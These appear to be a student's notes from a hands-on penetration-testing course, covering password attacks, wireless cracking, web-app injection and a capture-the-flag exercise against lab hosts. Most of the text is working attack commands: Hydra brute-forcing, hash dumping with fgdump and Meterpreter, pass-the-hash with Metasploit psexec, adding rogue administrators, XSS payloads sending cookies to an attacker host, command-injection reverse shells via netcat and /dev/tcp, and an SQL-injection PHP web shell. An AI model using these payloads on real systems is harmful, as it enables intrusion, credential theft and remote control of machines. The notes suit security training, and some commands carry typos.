count the words

# wc -l /tmp/password.lst

look at the list

# gedit /tmp/password.lst

Using THC Hydra pw-inspector ..4.54

review options

# pw-inspector

look at passwords with numbers

# cat /tmp/password.lst | pw-inspector -n

look at printable character words

# cat /tmp/password.lst | pw-inspector -p

generate a list matching policy

# cat /tmp/password.lst | pw-inspector -m 6 -n -u -l -c 2
# cat /tmp/password.lst | pw-inspector -m 6 -n -u -l -c 2 > /tmp/custom_list.lst

Configuring Hydra to Attack ..4.55

# xhydra
Single Target = 10.10.10.10
Protocol = SMB (the server message block protocol used by Windows file and print sharing)
Leave the Port at 0 to use the default port for the protocol

on password tab

username = george
"Password List" = /tmp/custom_list.lst
Check "Try login as password" and "Try empty password"

Launching Attack Against 10.10.10.10 ..4.56

# tcpdump -nn host 10.10.10.10

note port used is 139

change protocol to smbnt

note port used is 445

Prepping 127.0.0.1 ..4.57

# useradd jim
# passwd jim
bond007
bond007
# lsof -Pi

look for port 22, start if not running

# service sshd start
# service iptables stop

Configure hydra to Attack 127.0.0.1 ..4.58

# xhydra
target = 127.0.0.1
protocol = ssh2
port 0 for default of 22
check Show Attempts

Password tab

Username: jim
Password List /tmp/custom_list.lst
Check "Try login as password" and "Try empty password"

Run Sniffer and Watch Log Files ..4.59

# tcpdump -i lo
# tail -f /var/log/messages

A Problem? ..4.60

# ps aux | grep hydra
# ps aux | grep hydra | wc -l

Reconfigure and Re-Run ..4.61

"Number of Tasks" from 36 to 1

restart the test

cleanup and remove home directory (-r)

# userdel -r jim

Password Representation Formats ..4.62

Windows Password Representations in the SAM ..4.63

Windows Password Representations in AD ..4.64

LANMAN Hash Algorithm ..4.65

Local
define NO LANMAN HASH

NT Hash Algorithm ..4.66

Windows Challenge/Response on the Network ..4.67

LANMAN Challenge/Response ..4.68

LANMAN and NTLMv1 Challenge/Response ..4.69

NTLMv2 Graphically ..4.71

shutdown /a (aborts shutdown) (CTRL-SHIFT-ENTER on Win 7 to run as administrator)

Linux and Unix Password Representations ..4.72

Traditional Linux/Unix DES Password Scheme ..4.73

Linux/Unix MD5-based Password Scheme ..4.74

Obtaining Password Hashes ..4.75

Obtaining Linux/Unix Password Representations ..4.76

John the Ripper's unshadow script pulls account info from /etc/passwd and password info from /etc/shadow, creating one resulting file suitable for cracking

Obtaining Windows Password Representations ..4.77

Pwdump Tools ..4.78

More Recent Pwdump Tools ..4.79

Dumping Cached Windows Credentials with fgdump ..4.80

Metasploit Priv Module Hashdump ..4.81

Sniffing Windows Challenge-Response Authentication ..4.82

fgdump Exercise ..4.83

Fgdump Exercise ..4.84

C:\> cd c:\tools\fgdump\Release
C:\> fgdump.exe -c

Running fgdump Against Remote Target ..4.85

C:\> net use
C:\> fgdump -c -h 10.10.10.10 -u falken

or

C:\> fgdump -c -h 10.10.10.10 -u 10.10.10.10\falken
joshua

while running, we can see that it opened a network share

C:\> net use

Bouncing fgdump Over Netcat Relay/Setting Up Netcat Relay with a Tee ..4.86-7

mknod backpipe p
nc -l -p 445 0<backpipe | nc 10.10.10.10 445 | tee backpipe

within 2 seconds (the smb session expects a request):

C:\> fgdump -c -h [LinuxIP] -u falken -p joshua

Launching fgdump Through Relay ..4.88

fgdump -c -h [Your Linux IPaddr] -u falken -p joshua

Some windows machines need the domain specified–10.10.10.10\falken.

Looking at the Results ..4.89

C:\> fc 10.10.10.10.pwdump [YourLinuxIPaddr].pwdump
C:\> type [YourLinuxIPaddr].pwdump

John the Ripper ..4.90

John the Ripper Password Cracker ..4.91

John's Configuration File and Cracking Modes ..4.92

The john.pot File ..4.93

$ ./john --show [password_files]

The john.rec File ..4.94

Interpreting John's Output ..4.95

John and Speed ..4.96

Distributed John Cracking? ..4.97

Distributed Cracking Tools ..4.98

GPU Password Cracking Tools ..4.99

John Exercise ..4.100

Exercise: Patching John to Support NT Hashes ..4.101

In /home/tools john has been compiled without NT hash ans SSE2 support

# make linux-x86-any

Exercise: Patching John for NT Hashes ..4.102

# mkdir /tmp/john-1.7.2.orig
# cp -r /home/tools/john-1.7.2/* /tmp/john-1.7.2.org/
# cp /home/tools/john-1.7.2-ntlm-alainesp-6.1.diff.gz /tmp
# ls /tmp/john*
# gunzip /tmp/john-1.7.2-ntlm-alainesp-6.1.diff.gz
# cd /tmp
# patch -p0 < john-1.7.2-ntlm-alainesp-6.1.diff

Compiling SSE2-capable John with NT Hash Support ..4.103

# cd /tmp/john-1.7.2.orig/src
# make

This will not compile john, but show the different system types supported

# make clean
# make linux-x86-sse2

Comparing Speeds SSE2 vs. No SSE2 ..4.104

# cd /tmp/john-1.7.2.orig/run
# ./john --test

note the NT hash cracking ability

# cd /home/tools/john-1.7.2/run
# ./joun --test

Moving Windows Password Dump to Linux ..4.105

instead of mounting the course DVD on the Linux VM, lets use netcat:

# nc -n -l -p 2222 > /tmp/sam.txt
C:\> d:
D:\> cd Windows
D:\> c:\tools\nc.exe -n -v -w3 [YourLinuxIPaddr 2222 < sam.txt

Verify:

# cat /tmp/sam.txt

Cracking LANMAN vs. NT Hashes ..4.106

# cd /tmp/john-1.7.2.orig/run
# ./john /tmp/sam.txt

Hit space to show the speed

Now focus on NT hashes

# ./john --format=nt /tmp/sam.txt

Cracking Linux Passwords ..4.107

# useradd charlie -s /sbin/nologin
# useradd dizzy -s /sbin/nologin
# useradd ted -s /sbin/nologin
# useradd monk -s /sbin/nologin
# passwd charlie (eilrahc)
# passwd dizzy (internet12)
# passwd ted (newpass)
# passwd monk (virginia)

Cracking Linux Passwords ..4.108

# cp /etc/passwd /tmp/jphn-1.7.2.orig/run/passwd_copy
# cp /et/shadow /tmp/john-1.7.2.orig/run/shadow_copy

Use unshadow to combine files

# cd /tmp/john-1.7.2.orig/run
# ./unshadow passwd_copy shadow_copy > combined.txt
# ./john combined.txt

Look at Results in john.pot File ..4.109

# cd /tmp/john-1.7.2.orig/run
# cat john.pot

Finishing Up ..4.110

# userdel -r charlie
# userdel -r dizzy
# userdel -r ted
# userdel -r monk
# cd /tmp/john-1.7.2.orig/run
# shred --remove passwd_copy
# shred --remove shadow_copy
# shred --remove combined.txt
# shred --remove john.pot
# shred --remove /tmp/sam.txt

Cain ..4.111

Cain's Password Cracking Tools ..4.113

Cain's Sniffers ..4.114

* Cain's sniffers are focused on extracting passwords or password hashes from various protocols

Non-Cracking and Non-Sniffing Features of Cain ..4.115

Some Cain Password and Sniffer Helpers ..4.116

Cain's ARP-Poisoned Routing ..4.117

Cain Exercise ..4.118

Cain Exercise ..4.119

Cain's Password Cracking Wordlist ..4.120

C:\> cd "c:\Program Files\Cain"
C:\> dir
C:\> cd Wordlists

count the words

C:\> type Wordlist.txt |find /c /v ""

Look at the words

more Wordlist.txt

Cain's Hash Calculator ..4.121

Setting Up **** Password Box ..4.122

lusrmgr.msc, fill in the password box, but don't create the account

Cain's Password Box Reavealer ..4.123

LANMAN Challenge Response Cracking with Cain ..124

Activating Cain's Sniffer ..4.125

Preparing Windows to Receive Packets ..4.126

C:\> netsh firewall set opmode disable

Sending LM C/R and NTLMv1 Credentials and Sniffing Them ..4.127

# smbclient //[Windows_IP_Addr]c$ applesause -U [user]

Stop Sniffer and Send Results to Password Cracker ..4.128

Invoke Password Cracker ..4.129

Configure Wordlist and Crack ..4.130

If You Have More Time ..4.131

If You Have Even More Time ..4.132

Rainbow Table Attacks ..4.133

Traditional Cracking vs. Rainbow Table Style Cracking ..4.134

Time-Memory Trade-Off ..4.135

Why Rainbow Tables? ..4.136

Rainbow Table Attack Requirements ..4.137

Obtaining Rainbow Tables ..4.138

Commercial Rainbow Tables ..4.139

Storage of Tables? ..4.140

How Rainbow Tables are Built ..4.141

Building Rainbow Tables ..4.142

Storing the Rainbow Tables ..4.143

Rainbow Table Lookups ..4.144

Determining Original Password ..4.145

Tools for Rainbow Table Lookups ..4.146

Ophcrack Exercise ..4.147

Ophcrack Exercise ..4.148

Editing VMX Files for New ISO ..4.149

ide1:0.fileName = "ophcrack-livecd-1.2.2.iso"

Booting Ophcrack in VMware ..4.150

In Ophcrack LiveCD ..4.151

In the VMware image,

# ophcrack

A) Configuring Ophcrack with Rainbow Tables ..4.152

B) Move Hashes to Ophcrack Machine ..4.153

B) Using Netcat to Move sam.txt File ..4.154

# ifconfig eth0 10.10.77.[X] netmask 255.255.0.0
C:\> ping 10.10.77.[X]
# ifconfig -n -l -p 2222 > /tmp/sam.txt

B) Moving the sam.txt File ..4.155

C:\> cd [DVD_Drive_Letter]:\windows
c:\> [DVD_Drive_Letter]:
[DVD_Drive_Letter]:\> type sam.txt
[DVD_Drive_Letter]:\> c:\tools\nc.exe -v -n -w3 10.10.77.[X] 2222 < sam.txt
# cat /tmp/sam.txt

Configuring Ophcrack to Use Hashes ..4.156

B) Launching Ophcrack ..4.157

B) Finishing Up ..4.158

# shutdown -h now

Pass-the Hash Attacks ..4.159

"Pass-the-Hash" Technique ..4.160

Advantages of Pass-the-Hash ..4.161

Windows Pass-the-Hash using Windows Attack Machine ..4.162

Windows Pass-the-Hash using Linux/Unix Attack Machine ..4.163

$ export SMBHASH="[LANMANhash]:[NThash]"

Metasploit's Psexec & Pass-the-Hash ..4.164

msf > use windows/smb/psexec
msf > set RHOST [victim]
msf > set PAYLOAD windows/shell/reverse_tcp

…set other options…

msf > set SMBUser [admin_name]
msf > set SMBPass [admin_hash]
msf > exploit

Password Attacks - When To Use Each Technique ..4.165

Pass-the-Hash Exercise ..4.166

Using Metasploit to Get Hashes from 10.10.10.10 ..4.167

1) Configuring Metasploit ..4.168

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
# color false
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp

1) Finalizing Metasploit Config ..4.169

msf exploit(ms03_026_dcom) > set RHOST 10.10.10.10
msf exploit(ms03_026_dcom) > set LPORT [some_port]
msf exploit(ms03_026_dcom) > show options

1) Exploit and Grab Hashes ..4.170

msf exploit(ms03_026_dcom) > exploit
meterpreter > hashdump

2) Set Hash Environment Variable ..4.171

# export ”[paste-LANMAN]:[paste-NT]”

Alternative Step 2: If 10.10.10.10 Has Problems ..4.172

# cat /home/tools/sam.txt

2) Get Ready to Mount Share ..4.173

# echo $SMBHASH
# mkdir /mnt/target
# mount

3) Pass-the-Hash: Mount Share ..4.174

# cd /home/tools/samba*/source/bin
# ./smbmount //10.10.10.10/c$ /mnt/target -o username=administrator
# cd /mnt/target
# ls
# cp /mnt/target/Inetpub/wwwroot/default.htm /tmp

3) Add User and manage Groups ..4.175

# cd /home/tools/samba*/source/bin
# unmount /mnt/target
# ./net user ADD [yourname] [password] -I 10.10.10.10 -U administrator
# ./net rpc group ADDMEM administrators [yourname] -I 10.10.10.10 -U administrator

Metasploit psexec Module with Pass-the-Hash ..3.176

meterpreter > exit
msf exploit(ms03_026_dcom) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/shell/bind_tcp
msf exploit(psexec) > show options

4) Metasploit psexec Module with Pass-the-Hash (2) ..4.177

msf exploit(psexec) > set RHOST 10.10.10.10
msf exploit(psexec) > set LPORT [SomeUniquePortNumber]
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass [LANMAN]:[NT]

4) Metasploit psexec Module with Pass-the-Hash (3) ..4.177

msf exploit(psexec) > exploit
c:\> net user
C:\> net localgroup administrators
C:\> exit

Day 5

Wireless & Web Apps ..5.1

560.5 Table of Contents ..5.2

Wireless Overview ..5.3

Categories of Wireless Vulnerabilities ..5.4

Wireless Denial of Service ..5.5

Wireless Card to Use ..5.6

GPS Receiver ..5.7

Antennas in Wireless Pen Testing ..5.8

Connecting to an Antenna ..5.9

802.11 b/g Channels ..5.10

SSIDs ..5.11

802.11 Handshakes – Probes, Authentication and Association ..5.12

client ————— AP

Probe Request>
Probe Response<
Auth Request>
Auth Challenge<<
Auth Response>>
Auth Success<
Associate Request>
Associate Response<
Data < >

Wireless LAN Discovery and Sniffing ..5.13

Finding Wireless LANs ..5.14

Nessus Wireless Access Point Detection ..5.15

MAC Address Analysis ..5.16

Getting MAC Addresses ..5.17

Sniffing to Find Access Points ..5.18

Interface Mode for Wireless Sniffing ..5.19

Managed Mode vs. Monitor Mode for Sniffing ..5.20

AA AA

wlan2eth on willhackforsushi.com

Linux vs. Windows Monitor Mode Support ..5.21

Putting a Wireless Interface into Monitor Mode ..5.22

# iwconfig [interface] mode monitor channel [N]
# ifconfig [interface] up
iwconfig eth1 mode monitor channel 6
iwconfig
iwpriv (on some Linux versions)

Information Gathered from Wireless Sniffing ..5.23

tcpdump -i eth1

Using Wireshark to Sniff Wireless ..5.24

# tshark -i eth1

Wireless Sniffing with Kismet ..5.25

Kismet Features ..5.26

Additional Kismet Features ..5.27

Kismet IDS ..5.28

Locating Access Points based on Sniffer Info: Wireline ..5.29

Locating Access Points based on Sniffer Info: Wireless ..5.30

Discovering Access Points via Probe Requests ..5.31

Cain Wireless LAN Discovery ..5.32

NetStumbler ..5.33

SSID Cloaking ..5.34

Determining Cloaked ESSIDs ..5.35

Sniffing Cloaked ESSIS ..5.36

Wireless Crypto Attacks ..5.37

Identifying Crypto in Use: 802.11 Privacy Bit ..5.38

Identifying Crypto in Use: More Hints in Sniffed Packets ..5.39

Identifying Crypto in Use: Kismet Fuzzy Crypto Detection ..5.40

Identifying Crypto in Use: Statistical Analysis of Crypto ..5.41

Wired Equivalent Privacy Protocal (WEP) ..5.42

Seeing the WEP IV in Each Packet ..5.43

WEP Encryption ..5.44

WEP Weaknesses ..5.45

WEP Weaknesses: Colliding Initialization Vectors ..5.46

WEP Weaknesses: Using Colliding Ivs ..5.47

WEP Weaknesses: Weak integrity Check ..5.48

WEP Weaknesses: No Replay Protection ..5.49

WEP Weaknesses: Known Clear Text to Recover Key ..5.50

WEP Attack Tools ..5.51

Wifi Protected Access ..5.52

WPA1 vs. WPA2 ..5.53

WPA Attack Tools ..5.54

Why Bother Cracking Wireless Traffic (Especially WEP and WPA1)? ..5.55

Wireless Crypto Cracking Exercise ..5.56

Exercise: Cracking Wireless WEP and WPA Pre-Shared Keys ..5.57

eg.:

# iwconfig eth1 mode monitor channel 6
# tcpdump -nn -i eth1 -s0 -w wep_crack.pcap

Cracking WEP PSK: Analyzing the PCAP file ..5.58

# cp /home/tools/wep_crack.pcap /tmp
# tcpdump -nnr /tmp/wep_crack.pcap |grep "Beacon"

Aircrack-ng Options ..5.59

Cracking the WEP PSK with Aricrack Using PTW Method ..5.60

# cd /home/tools/aircrack-ng-1.0-rc1
# ./aircrack-ng -e "560gc" /tmp/wep_crack.pcap

money should appear as the PSK

Analyzing WPA-Protected Packets ..5.61

# cp /home/tools/wpa_crack.pcap /tmp
# wireshark -r /tmp/wpa_crack.pcap &

Cracking wth WPA PSK with CoWPAtty ..5.62

# cd /home/tools/cowpatty-4.2
# ./cowpatty -r /tmp/wpa_crack.pcap -s "go away 2" -f /home/tools/john-1.7.2/run/password.lst

baseball should appear

Cracking WPA PSK with Aircrack-ng ..5.63

# cd /home/tools/aircrack-ng-1.0-rc1
# ./aircrack-ng -w /home/tools/john-1.7.2/run/password.lst -e "go away 2" /tmp/wpa_crack.pcap

Wireless Client Attacks ..5.64

Wireless Client Attacks ..5.65

Wireless Injection Attacks with Airpwn ..5.66

Airpwn in Action ..5.67

Hijacking Wireless Sessions with AirJack ..5.68

AirJack's ESSID-jack ..5.69

AirJack's Monkey-jack ..5.70

Impersonating Access Points with Karma ..5.71

Karma Functionality ..5.72

Karma In Action ..5.73

Karma integration into Metasploit ..5.74

Wireless Conclusion ..5.75

Web App Overview ..5.76

Relationship to network Penetration Testing and Other Courses ..5.77

Defining a Web App ..5.78

Nikto ..5.79

Nikto: Web Server Vulnerability Scanner ..5.80

Nikto: Well-Known Flaws, Not Custom App Flaws ..5.81

Using Nikto ..5.82

# ./nikto.pl -h [target]
# ./nikto.pl -update

Focusing Nikto Tests ..5.83-84

# ./nikto.pl -h [target] -T48

Nikto Exercise ..5.85

Running Nikto Against 10.10.10.50 ..5.86

# cd /home/tools/nikto-[version]
# ./nikto.pl -h 10.10.10.10.50

Manual Review: TRACE Method with Nikto -Single ..5.87

# ./nikto.pl -Single

take defaults for all except

hostname or IP: 10.10.10.50
HTTP Method: TRACE
Data: <script>alert(1);</script>

Manual Review: Directory Indexing ..5.88

http://10.10.10.50/manual/images

will display a list of files in that directory

Paros Proxy ..5.89

Paros Proxy ..5.90

Paros Features: HTTP Requests and Responses ..5.91

Paros Features: Scanning ..5.92

Paros Features: Manual Request Editor and Hash Calculator ..5.93

Additional useful Paros Features ..5.94

Numerous Other Web App Manipulation Proxies ..5.95

Paros Exercise ..5.96

Activating Paros ..5.97

# cd /home/tools/paros
# java -jar paros.jar

Configuring Browser for Proxy ..5.98

Accessing a Page Through Paros ..5.99

Using the Paros Trap ..5.100

Closing Paros – Discard State ..5.102

Clearing Browser State ..5.103

Injecting Attacks Overview ..5.104

Kinds of Injection Attacks ..5.105

Cross-Site Request Forgery ..5.106

Cross Site Request Forgery ..5.107

XSRF Scenario: Login to Bank ..5.108

XSRF Scenario: Attacker Sets the Trap ..5.109

<img src="http://bank.target.tgt/transfer.php?acct_to=1234567&amount=1000">

XSRF Scenario: Victim Succumbs ..5.110

XSRF Notes ..5.111

XSRF Exercise ..5.112

Mapping the Exercise to our Scenario ..5.113

Step 0a Attacker Creates Account on Blog Site ..5.114

http://10.10.10.50/blog560

Setup 0b Post a Test Blog ..5.115

Step 0c Victim Creates Account on On-Line Bank ..5.116

http://10.10.10.60/bank560

1-4 Victim Logs into Bank and Performs Transactions ..5.117

5-6 Attacker Formulates XSRF Message and Posts on Blog Site ..5.118

<img src="http://10.10.10.60/bank560/transfer.php?acct_to=1234567&amount=2000">

7-8 Victim Surfs to Blog Site and Reads Content ..5.119

9-10 Now Check Balance, Changed by XSRF Attack ..5.120

Looking at Blog Entry Source ..5.121

...
Welcome, sk0d0! You may compose your new entry using the following form.
<p />
<form action="post.php" method="post">
<input type="hidden" name="token" value="1923ae...93" />

If the Attack Doesn't Work ..5.122

If There's a Problem, install Firefox 1.0.3 ..5.123

Cross-Site Scripting ..5.124

Cross-Site Scripting Overview ..5.125

What Can XSS Do? ..5.126

<script>alert("Vulnerable to XSS!";</script>
project Yokoso – browser script that query browser history to see if that browser was used to manage infrastructure stuff

XSS to Steal Cookies ..5.127

<script>document.locations='http://[AttackerIP]/cgi-bin/grab.cgi?+document.cookie;</script>

XSS for Attacking Internal Systems ..5.128

XSS to Exploit Admin Apps ..5.129

BeEF: Browser Exploitation Framework Wade Alcorn

Attacking Admins via XSS ..5.130

Types of XSS Vulnerabilities ..5.131

Reflected XSS Walk-Thru ..5.132

http://[vulnerableSiteIP]/[VulnerableFunction]?[Variable]=<script>document.location='http://[AttackerIP]/cgi-bin/grab.cgi?'%2bdocument.cookie;</script>

Stored XSS Walk-Thru ..5.133

<script>document.location='http://[AttackerIP]/cgi-bin/grab.cgi?'+document.cookie;</script>

Detecting Reflected vs. Stored XSS Vulnerabilities ..5.134

Encoding for XSS Attacks ..5.135

XSS Exercise ..5.136

XSS Exercise Overview ..5.137

Making Paros Aware of Targets ..5.138

# cd /home/tools/paros
# java -jar paros.jar

Configuring a Paros Scan Policy And Launching the Scan ..5.139

Analyze->Scan Policy...
Deselect all except "Cross Site Scripting" and "Cross Site Scripting without Brackets"
Analyze->Scan All

Looking at Paros Alerts and Report ..5.140

Manual Verification of XSS Flaw ..5.141

<script>alert("Vulnerable!");</script>

For this page, the same effect could be obtained by:

http://10.10.10.50/index.php?loc=<script>alert("Vulnerable!");</script>

since HTTP GET method is used

# nc -n -l -p 2222
<script>document.location='http://[LinuxIP]:2222/grab.cgi?+document.cookie;</script>
http://10.10.10.50/index.php?loc=<script>document.location='http://[LinuxIP]:2222/grab.cgi?'%2bdocument.cookie;</script>

Stored XSS Flaw? ..5.143

Subject:

<script>alert(1);</script>

Entry:

<script>alert(2);</sctipt>
<script>document.location='http://[YourLinuxIPadde]:2222/grab.cgi?+documnet.cookie;</script>

Creating a Victim Blogger ..5.145

Victim Reads Attacker's Blog ..5.146

Posting a Blog from the Hijacked Session ..5.148

Viewing the Successful Hijack ..5.149

Command Injection ..5.150

Command Injection ..5.151

Which Command to Inject? ..5.152

ping [AttackerIPaddress]

More on Ping ..5.153

Downside of Ping ..5.154

Command Injection Exercise ..5.155

Command Injection Vulnerability ..5.156

Non-Blind Command Injection ..5.157

monitor for success:

# tcpdump -n host 10.10.10.50 and icmp

Then , enter the following command into the form field on the website 10.10.10.50

test; ping -c 4 [YourLinuxIPaddr]; echo hello

other commands:

test; whoami; echo hello
test; cat /etc/passwd; echo hello

Blind Command Injection ..5.158

# tcpdump -n host 10.10.10.60 and icmp

in http://10.10.10.60/research560/loginform.php in the Uername field:

test; ping -c 4 [YourLinuxIPaddr]; echo hello

Blind Command Injection to Launch Netcat Backdoor Shell ..5.159

# nc -n -v -l -p [port]

on page http://10.10.10.60/research560/loginform.php

test; /usr/local/bin/nc [YourLinuxIPaddr] [port] -e /bin/bash; echo hello

Netcat-Style Shell Access without Netcat ..5.160

# nc -n -v -l -p [port]

Then, stil on your Linux machine, run a command that will make an interactive shell onnection using bash, across the network

# /bin/bash -i > /dev/tcp/[YourLinuxIPaddr]/[port] 0<&1
Pen Test Ninjitsu webcast trilogy: Part 2 Crouching Tiger Hidden Netcat netcat without netcat

Using bash and /dev/tcp with Blind Command Injection ..5.161

# nc -n -v -l -p [port]
test; /bin/bash -i > /dev/tcp/[LinuxIPaddress]/[port] 0<&1 2>&1

SQL Injection ..5.162

SQL Injection ..5.163

Injecting SQL ..5.164

select * from inventory where sku='[input]';

SQL Injection Penetration Testing Process ..5.165

Finding SQL Injection Flaws ..5.166

The Structured Query Language ..5.167

Useful SQL Statements ..5.168

Searches database:

select [column(s)] from [table] where [search_criteria]

Updates the database:

update [table] set [column] = [value] where [search_criteria]

Pulls out pieces of strings- useful for blind SQL injection

substring([string],[position],[length])

Useful SQL Elements ..5.169

' or 1=1
" or 1=1
' or 'a'a = 'a
') or ('a'=a

For example:, inject:

' or 1=1--

into the select statement becomes:

select * from inventory where sku='' or 1=1--';

responds with entire inventory table. The – makes sql ignore the ';

Additional Useful SQL Elements ..5.170

attacker could use

'; select * from users where 1=1;--

resulting in

select * from inventory where sku=''; select * from users where 1=1;--';
select * from inventory where sku='' UNION select * from users where 1=1;--';
select * from inventory where sku='' UNION select (name, id, 1, 1, 1) from users where 1=1;--';

Querying the Database for Its Structure ..5.171

MS SQL Server:

select name from master..sysobjects where xtype='U';
select top 1 table_name from information_schema.tables;

Oracle

select table_name from user_tables;

MySQL

select table_schema,table_name from information_schema.tables;

SQL Injection to Perform Command Injection ..5.172

To run code

exec master..xp_cmdshell 'ping [attackerIP]' --

To exfiltrate data to an attacker's file share

exec master..sp_makewebsask \\[attackerIP]\share\results.html, "select * from information_schema.tables"

MySQL: Build PHP file

and 1=0 union select '[PHP code]' INTO OUTFILE '/var/www/html/mycode.php'

Blind SQL Injection ..5.173

Blind SQL Injection (2) ..5.174

Is the first table name first letter greater than m?

and substring((select top 1 name from master..sysobjects where xtype='U'),1,1)>'m'

If not, is the first table name first letter greater than g?

and substring((select top 1 name from master..sysobjects where xtype='U'),1,1)>'g'

SQL Injection Exercise ..5.175

SQL Injection Flaw ..5.176

Create Account and Fill in Survey ..5.177

Search and Inject Double Quote ..5.178

The code contains something like:

select * from results where color = "[our data]"

Inject Something More Meaningful ..5.179

Try

"or 1=1 /*

Pulling other Tables with Union ..5.180

Try using a UNION

" union select * from accounts /*

We can add

,1
,1,1
,1,1,1

until we get the columns right

" union select *,1 from accounts /*

Now, we get sensitive data we aren't supposed to see

Displaying Arbitrary Text ..5.181

" union select "hello world","","","","","" /*

Create a file ..5.182

" union select "<?php system(\"ping -c 4 [YourLinuxIPaddr]\");","","","","","" into outfile "/var/www/html/[yourfilename].php" /*

If you have trouble typing ..5.183

make output prettier

" union select "<?php system(\"echo '<pre>'; ping -c 4 [YourLinuxIPaddr]\");","","","","","" into outfile "/var/www/html/[yourfilename].php" /*

Make a command injection page

" union select "<?php if (isset($_REQUEST['cmd']))( echo '<pre>'; system($_REQUEST ['cmd']); echo '</pre>'; ) ?><form action=<?php echo basename($_SERVER['PHP_SELF'])? >> <input type=text name=cmd size=20> <input type=submit></form>","","","","","" into outfile "/var/www/html/filename.php" /*

Execute your file ..5.184

Day 6

Project Scope ..6.6

Adding a Default Route and Changing DNS on Linux ..6.7

# route add default gw [RouterIPaddr]
# route add default gw 10.10.10.1

or

# route add default gw 10.10.10.254
# gedit /etc/nsswitch.conf
hosts: files dns
# gedit /etc/resolv.conf
nameserver 10.11.11.24

Additional notes ..6.8

Capture the Flag Goal ..6.12

dir /a

Stealing GnuPG Keyrings ..6.15

C:\Documents and Settings\[UserName]\Application Data\gnupg\pubring.gpg
C:\Documents and Settings\[UserName]\Application Data\gnupg\secring.gpg
/home/[UserName]/.gnupg/pubring/gpg
/home/[UserName]/.gnupg/secring/gpg

Verify the Keys ..6.17

gpg --list-keys
gpg --list-secret-keys

Decrypting a File Using GnuPG ..6.18

gpg -d -o <OutputFileName> <EncryptedFileName>

capture the flag

Capture the flag Hints:

Pgp passphrase have same password as user

4 sets of pgp keys

/u:[MachineName-DomainName]/[user]

falken pw joshua

Look for VM's

To disable windows firewall:
C:\> netsh firewall set opmode disable

pass the hash

password cracking program should be running at all times with hashes from rooted machines

add cracked passwords to password.lst

clear out john.pot when cracking different machines

Use John and Rainbow tables both

commands

Zone transfers 1.181

dig @10.10.10.45 560gc.tgt -t AXFR
for i in `seq 20 40`; do host 128.173.191.$i;done
for i in {20..40}; do echo $i;done

tcpdump 2.18

Ping sweeps 2.30

tcpdump -nnp host 10.10.75.218 and net 10.11.11/24
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i; done
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i 2>/dev/null | grep ip=; done

Port Scan 2.80

nmap -n -sP 10.11.11.2-254 --packet-trace

nmap -n -PN -sS 10.11.11.24 -p 1-1024 --packet-trace
 hit p to start or shift-p stop packet trace
tcpdump -nnp host 10.11.11.24
nmap -n -PN -sT 10.11.11.24 -p 1-1024 --reason
nmap -n -sS 10.11.11.24
nmap -n -sS 10.11.11.24 --badsum

OS fingerprinting 2.99

tcpdump -nnp host 10.10.75.218 and net 10.11.11
nmap -n -O -sT -p 1-1024 10.11.11.2-254

Version Scan 2.100

nmap -n -sV -p 1-150 10.11.11.24

for all types

nmap -n -sA -p 1-150 10.11.11.24

amp 2.102

amap -qv 10.11.11.24 1-150

with banners

amap -bqv 10.11.11.24 1-150

nc scanning 2.180

nc -v -n -w1 -z 10.11.11.2-254
echo "" | nc -v -n -w1 10.11.11.2-254

Vulnerability Scanning 2.120

for web server
host 560gc.tgt
nmap -n –script=robots.txt.nse 10.11.11.?? -p 80
wget 560gc.tgt/robots.txt
nmap -n --script-robots.txt.nse 10.11.11.2-254 -p 80

netbios statistics 2.122

C:\> nbtstat -A 10.11.11.windows machines
tcpdump -nnp host 10.11.11.windows
nmap -n --script-nbstat.nse 10.11.11.windows

sshv1 c=scan 2.124

nmap -n -sV --script=sshv1.nse 10.11.11.linux machine with ssh

Nessus 2.136

gather users and groups Linux 2.157

# cat /etc/passwd
# finger @[targetIP]

Windows 2.165

> net use \\[targetIP] "" /u:""
> enum -U [targetIP]
> enum -G [targetIP]
> user2sid \\10.11.11.?? [machine-name]
> sid2user \\10.11.11.?? [?? 5 21 ?? ?? ??] 500
> for /L %i in (1000,1,1010) do @sid2user \\10.11.11.?? [5 21 ?? ?? ??] %i

Metadata Analysis 1.159

wget -nd -r -R htm,html,php,asp,aspx,cgi,gpg -P /tmp/560/560metadata_ex 560gc.tgt
wget -nd -r -A pdf,doc,docx,cls,xlsx -P /tmp/560/560metadata_ex 560gc.tgt
exiftool
strings
  -e l (little endian)
  -e b (big endian)

Nikto 5.85

Paros 5.96

Pass the hash

password cracking

Metasploit 3.41

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
> color fales
> show exploits
> search -t exploit great smb
> use exploit/windows/smb/ms08_067_netapi
> show payloads
> set PAYLOAD windows/shell/bind_tcp
> show options
> ping -c 10.11.11.??
> set RHOST 10.11.11.??
> set LPORT 24333

Open Firewall ports

open a port to allow backpipe relay
# iptables -I INPUT 1 -s 10.10.75.218 -p tcp –dport 4444 -j ACCEPT
# mknod backpipe p
# nc -l -p 4444 0<backpipe |nc localhost 22 1>backpipe
> putty.exe 10.11.11.?? 4444

pgp

copy .gnupg to ~/
passwords for users likely the passwords for gpg encryption

procedure

DNS Zone transfer

Ping Sweep

nmap
hping

Vulnerability scan

nessus
nmap --script=vuln
1)
Pseudo-Random Stream (PRGA